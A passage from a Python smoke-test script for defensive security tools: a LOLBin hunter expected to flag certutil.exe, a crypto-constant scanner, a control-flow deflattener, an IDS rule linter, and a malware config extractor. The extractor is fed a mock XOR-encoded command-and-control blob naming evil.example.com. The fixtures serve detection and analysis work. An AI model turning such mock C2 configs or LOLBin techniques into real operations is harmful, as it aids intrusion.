proc = _run([PY, _skill_script("hunting-lolbin-abuse-on-windows"), "hunt", events])
_expect_json(proc, "hunting-lolbin-abuse-on-windows", failures,
contains=["certutil.exe"])
checks += 1
# 4. Crypto-constant scanner -> finds the AES S-box.
aes_sbox = bytes([0x63, 0x7c, 0x77, 0x7b, 0xf2, 0x6b, 0x6f, 0xc5,
0x30, 0x01, 0x67, 0x2b, 0xfe, 0xd7, 0xab, 0x76])
cbin = os.path.join(tmp, "crypto.bin")
with open(cbin, "wb") as fh:
fh.write(b"PAD" + aes_sbox + b"\x00" * 16)
proc = _run([PY, _skill_script("identifying-cryptographic-routines-in-binaries"),
"scan", cbin])
_expect_json(proc, "identifying-cryptographic-routines-in-binaries", failures,
contains=["AES S-box"])
checks += 1
# 5. Control-flow deflattener -> recovers the dispatcher chain.
cfg = _write(tmp, "cfg.json", json.dumps({
"state_var": "eax", "entry": "A", "blocks": [
{"id": "D", "succ": ["A", "B", "C"], "in_degree": 4, "state_compare": True},
{"id": "A", "succ": ["D"], "in_degree": 1, "next_state": "B"},
{"id": "B", "succ": ["D"], "in_degree": 1, "next_state": "C"},
{"id": "C", "succ": ["D"], "in_degree": 1, "next_state": None},
]}))
proc = _run([PY, _skill_script("defeating-control-flow-flattening"), "detect", cfg])
_expect_json(proc, "defeating-control-flow-flattening", failures,
contains=["\"dispatcher\": \"D\""])
checks += 1
# 6. IDS rule linter -> flags a short unanchored content + duplicate sid.
rules = _write(tmp, "r.rules",
'alert http any any -> any any (msg:"a"; content:"GET"; sid:1; rev:1;)\n'
'alert tcp any any -> any 443 (msg:"b"; content:"x"; http.host; '
'sid:1; rev:1; classtype:trojan-activity;)\n')
proc = _run([PY, _skill_script("writing-suricata-and-snort-rules"), "lint", rules])
_expect_json(proc, "writing-suricata-and-snort-rules", failures,
contains=["duplicate sid"])
checks += 1
# 7. Config extractor -> decodes a XOR'd blob into fields.
plain = b"evil.example.com" + b"\x00" * 48 + (8080).to_bytes(2, "little") \
+ bytes([10, 0, 0, 5])
ct = bytes(b ^ 0x5A for b in plain)
blob = os.path.join(tmp, "blob.bin")
with open(blob, "wb") as fh:
fh.write(b"CFG0" + ct)
spec = _write(tmp, "spec.json", json.dumps({
"blob": {"marker": "CFG0", "length": 70},
"decode": [{"type": "xor", "key": "0x5a"}],
"fields": [{"name": "c2", "offset": 0, "length": 64, "type": "str"},
{"name": "port", "offset": 64, "type": "u16"},
{"name": "ip", "offset": 66, "type": "ipv4"}]}))
proc = _run([PY, _skill_script("building-config-extractors"), "extract", blob,
"--spec", spec])
_expect_json(proc, "building-config-extractors", failures,
contains=["8080", "10[.]0[.]0[.]5"])
checks += 1
print(f"[fixture] {checks - len(failures)}/{checks} fixture checks passed")
return failures
def main(argv: list[str] | None = None) -> int:
parser = argparse.ArgumentParser(description="Smoke-test all skill scripts")
parser.add_argument("--help-only", action="store_true",
help="run only the --help layer")
args = parser.parse_args(argv)
failures = help_layer()
if not args.help_only:
failures += fixture_layer()
if failures:
print(f"\nFAIL: {len(failures)} smoke-test problem(s):", file=sys.stderr)
for f in failures:
print(f" - {f}", file=sys.stderr)
return 1
print("\nAll smoke tests passed.")
return 0
if __name__ == "__main__":
sys.exit(main())